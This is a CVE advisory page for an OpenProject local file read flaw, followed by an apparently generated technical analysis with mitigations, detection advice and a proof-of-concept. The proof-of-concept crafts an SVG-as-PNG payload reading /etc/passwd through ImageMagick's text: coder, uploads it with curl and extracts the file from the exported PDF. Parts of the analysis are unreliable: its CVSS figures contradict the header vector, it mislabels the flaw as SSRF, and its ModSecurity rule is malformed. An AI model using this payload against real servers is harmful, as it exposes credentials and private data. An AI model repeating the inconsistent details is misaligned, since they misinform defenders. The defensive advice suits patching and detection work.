CVE-2026-22600
CVE-2026-22600
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- Low
- User Interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- Low
- Availability
- Low
Description
OpenProject is an open-source, web-based project management software. A Local File Read (LFR) vulnerability exists in the work package PDF export functionality of OpenProject prior to version 16.6.4. By uploading a specially crafted SVG file (disguised as a PNG) as a work package attachment, an attacker can exploit the backend image processing engine (ImageMagick). When the work package is exported to PDF, the backend attempts to resize the image, triggering the ImageMagick text: coder. This allows an attacker to read arbitrary local files that the application user has permissions to access (e.g., /etc/passwd, all project configuration files, private project data, etc.). The attack requires permissions to upload attachments to a container that can be exported to PDF, such as a work package. The issue has been patched in version 16.6.4. Those who are unable to upgrade may apply the patch manually.
Comprehensive Technical Analysis of CVE-2026-22600 (OpenProject Local File Read Vulnerability)
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2026-22600 CVSS Score: 9.1 (Critical) – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H Vulnerability Type: Local File Read (LFR) via Server-Side Request Forgery (SSRF) in ImageMagick Text Coder Exploitability: High (Requires authenticated access with attachment upload privileges) Impact: Critical (Arbitrary file disclosure, potential for further privilege escalation or lateral movement)
Severity Breakdown:
- Attack Vector (AV:N): Exploitable remotely over a network.
- Attack Complexity (AC:L): Low complexity; no special conditions required beyond authenticated access.
- Privileges Required (PR:L): Low privileges (standard user with attachment upload rights).
- User Interaction (UI:N): No user interaction required beyond the initial upload.
- Scope (S:C): Changed scope (impacts confidentiality and availability of the host system).
- Confidentiality (C:H): High impact (arbitrary file disclosure).
- Integrity (I:N): No direct integrity impact.
- Availability (A:H): High availability impact (potential DoS via resource exhaustion during file processing).
The 9.1 CVSS score reflects the high risk posed by this vulnerability, as it allows unauthorized disclosure of sensitive system and application files with minimal prerequisites.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Chain:
-
Initial Access:
- An attacker must have authenticated access to OpenProject with permissions to upload attachments to a work package.
- This could be achieved via:
- Compromised user credentials (phishing, credential stuffing).
- Exploiting another vulnerability to gain authenticated access.
- Insider threat (malicious employee/contractor).
-
Malicious File Upload:
- The attacker uploads a specially crafted SVG file disguised as a PNG (e.g.,
malicious.pngwith SVG content). - The SVG file contains an ImageMagick
text:coder directive that references a local file (e.g.,/etc/passwd).<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="text:/etc/passwd" width="100" height="100"/> </svg> - OpenProject’s file type validation fails to detect the SVG payload due to mime-type spoofing (e.g.,
.pngextension with SVG content).
- The attacker uploads a specially crafted SVG file disguised as a PNG (e.g.,
-
PDF Export Trigger:
- The attacker exports the work package as a PDF.
- OpenProject’s backend processes the attachment using ImageMagick for resizing/conversion.
- The
text:coder in ImageMagick reads the specified file and embeds its contents in the generated PDF.
-
Exfiltration:
- The attacker downloads the PDF and extracts the embedded file contents.
- Sensitive files (e.g.,
/etc/passwd,/etc/shadow, OpenProject configuration files, database credentials) are exposed.
Alternative Exploitation Scenarios:
- Chained Exploits:
- If combined with a file write vulnerability, an attacker could modify system files (e.g.,
.bashrc, cron jobs) for persistence. - If database credentials are exposed, an attacker could dump the OpenProject database (including user hashes, project data).
- If combined with a file write vulnerability, an attacker could modify system files (e.g.,
- Lateral Movement:
- Exposed SSH keys or API tokens could enable access to other systems.
- Denial of Service (DoS):
- Attempting to read large files (e.g.,
/dev/urandom) could crash the ImageMagick process, leading to service disruption.
- Attempting to read large files (e.g.,
3. Affected Systems and Software Versions
Vulnerable Versions:
- OpenProject versions prior to 16.6.4 (all releases before the patch).
- ImageMagick (if misconfigured to allow
text:coder execution).
Affected Components:
- Work Package PDF Export Functionality (core feature).
- ImageMagick Integration (used for image processing in OpenProject).
- File Upload Validation (fails to detect SVG-based attacks).
Environmental Factors Increasing Risk:
- Default Installations: OpenProject deployed with default configurations.
- Shared Hosting: Multi-tenant environments where multiple users have upload privileges.
- Outdated ImageMagick: Older versions with known
text:coder vulnerabilities. - Lack of File Type Restrictions: No strict validation of uploaded file contents.
4. Recommended Mitigation Strategies
Immediate Actions:
-
Upgrade OpenProject:
- Apply the official patch by upgrading to OpenProject 16.6.4 or later.
- Patch URL: https://github.com/opf/openproject/releases/tag/v16.6.4
-
Manual Patch Application (If Upgrade Not Possible):
- Disable SVG Uploads: Modify OpenProject’s file upload restrictions to block SVG files.
- Restrict ImageMagick Policies:
- Edit
/etc/ImageMagick-6/policy.xml(or equivalent) to disable thetext:coder:<policy domain="coder" rights="none" pattern="TEXT" />
- Edit
- Implement File Content Validation:
- Use libmagic or file-type detection to verify uploaded files match their extensions.
-
Network-Level Protections:
- Web Application Firewall (WAF) Rules:
- Block requests containing
text:orsvgpayloads in image uploads. - Example ModSecurity rule:
SecRule FILES_TMPNAMES "@detectSQLi" "id:1000,phase:2,t:none,block,msg:'SVG-based LFR Attempt'" SecRule REQUEST_BODY "@contains text:" "id:1001,phase:2,t:none,block,msg:'ImageMagick Text Coder Exploit'"
- Block requests containing
- Isolate OpenProject:
- Run OpenProject in a containerized environment (Docker, Kubernetes) with least-privilege permissions.
- Restrict filesystem access using AppArmor/SELinux.
- Web Application Firewall (WAF) Rules:
-
Monitoring and Detection:
- Log and Alert on PDF Export Events:
- Monitor for unusual PDF export activity (e.g., large numbers of exports by a single user).
- File Integrity Monitoring (FIM):
- Track changes to
/etc/passwd,/etc/shadow, and OpenProject configuration files.
- Track changes to
- ImageMagick Process Monitoring:
- Detect anomalous
convertormagickprocesses accessing sensitive files.
- Detect anomalous
- Log and Alert on PDF Export Events:
-
Long-Term Hardening:
- Disable Unnecessary ImageMagick Coders:
- Remove or restrict coders like
text:,label:, andmsl:inpolicy.xml.
- Remove or restrict coders like
- Implement Content Security Policies (CSP):
- Restrict SVG execution in browsers to prevent client-side attacks.
- Regular Vulnerability Scanning:
- Use tools like Nessus, OpenVAS, or Trivy to detect outdated dependencies.
- Disable Unnecessary ImageMagick Coders:
5. Impact on the Cybersecurity Landscape
Broader Implications:
-
Supply Chain Risks:
- OpenProject is widely used in enterprise project management, making this a high-value target for attackers.
- Compromise of OpenProject could lead to data breaches in organizations relying on it for sensitive projects.
-
ImageMagick as an Attack Surface:
- This vulnerability highlights ongoing risks in ImageMagick, a widely used library with a history of file inclusion and RCE vulnerabilities (e.g., CVE-2016-3714, CVE-2021-20244).
- Organizations must harden ImageMagick configurations to prevent similar attacks.
-
Authentication Bypass Risks:
- If combined with broken authentication (e.g., weak passwords, session fixation), this could lead to unauthenticated LFR.
- Multi-factor authentication (MFA) should be enforced for OpenProject access.
-
Regulatory and Compliance Impact:
- GDPR, HIPAA, or PCI-DSS violations if sensitive data (e.g., PII, financial records) is exposed.
- Incident response (IR) teams must treat this as a critical severity event.
-
Exploit Development and Weaponization:
- Proof-of-Concept (PoC) exploits are likely to emerge, increasing the risk of mass exploitation.
- Threat actors (APT groups, ransomware operators) may leverage this for initial access or data exfiltration.
6. Technical Details for Security Professionals
Root Cause Analysis:
-
Vulnerability Origin:
- OpenProject’s PDF export functionality uses ImageMagick to process attachments.
- The
text:coder in ImageMagick allows arbitrary file reads when processing SVG files. - OpenProject does not properly validate file contents, allowing SVG files to be uploaded with malicious
text:directives.
-
ImageMagick
text:Coder Exploitation:- The
text:coder is designed to render text as an image, but it can be abused to read files if not restricted. - Example malicious SVG:
<svg xmlns="http://www.w3.org/2000/svg"> <image href="text:/etc/passwd" width="100" height="100"/> </svg> - When processed, ImageMagick reads
/etc/passwdand embeds it in the output PDF.
- The
Exploitation Requirements:
| Requirement | Details |
|---|---|
| Authentication | Valid OpenProject user with attachment upload permissions. |
| File Upload | Ability to upload files to a work package. |
| PDF Export | Triggering the PDF export of the work package. |
| ImageMagick Misconfiguration | text: coder must be enabled (default in many installations). |
Detection and Forensics:
-
Log Analysis:
- OpenProject Logs:
- Look for unusual PDF export activity (e.g., multiple exports by a single user).
- Check for SVG file uploads with
.pngextensions.
- ImageMagick Logs:
- Monitor for
convertormagickprocesses accessing sensitive files.
- Monitor for
- Web Server Logs:
- Detect unusual file access patterns (e.g.,
/etc/passwdbeing read).
- Detect unusual file access patterns (e.g.,
- OpenProject Logs:
-
Memory Forensics:
- Use Volatility or Rekall to analyze ImageMagick process memory for file read operations.
- Look for file handles pointing to
/etc/passwd,/etc/shadow, or OpenProject config files.
-
Network Traffic Analysis:
- Wireshark/tcpdump: Capture PDF download requests for suspicious activity.
- Zeek (Bro): Detect unusual file transfers from the OpenProject server.
Proof-of-Concept (PoC) Exploitation:
# Step 1: Craft malicious SVG (malicious.png)
cat > malicious.png << 'EOF'
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="text:/etc/passwd" width="100" height="100"/>
</svg>
EOF
# Step 2: Upload to OpenProject as a work package attachment
curl -X POST -F "file=@malicious.png" -H "Authorization: Bearer <USER_TOKEN>" \
"https://openproject.example.com/api/v3/work_packages/<ID>/attachments"
# Step 3: Trigger PDF export (via UI or API)
curl -X POST -H "Authorization: Bearer <USER_TOKEN>" \
"https://openproject.example.com/api/v3/work_packages/<ID>/pdf"
# Step 4: Download PDF and extract embedded file
pdftotext exported.pdf - | grep "root:x:"
Mitigation Verification:
-
Test ImageMagick Restrictions:
convert -list policy | grep -i text- Should return
rights="none"fortext:coder.
- Should return
-
Verify File Upload Validation:
- Attempt to upload an SVG file with a
.pngextension. - Should be blocked by OpenProject’s file validation.
- Attempt to upload an SVG file with a
-
Check OpenProject Version:
curl -I https://openproject.example.com | grep X-OpenProject-Version- Should return 16.6.4 or higher.
Conclusion
CVE-2026-22600 represents a critical Local File Read vulnerability in OpenProject, enabling arbitrary file disclosure with minimal prerequisites. The high CVSS score (9.1) underscores the urgency of patching, as exploitation could lead to severe data breaches, lateral movement, and regulatory violations.
Security teams should:
✅ Immediately upgrade to OpenProject 16.6.4.
✅ Restrict ImageMagick’s text: coder.
✅ Monitor for exploitation attempts.
✅ Enforce least-privilege access controls.
Failure to mitigate this vulnerability could result in significant operational and reputational damage for affected organizations.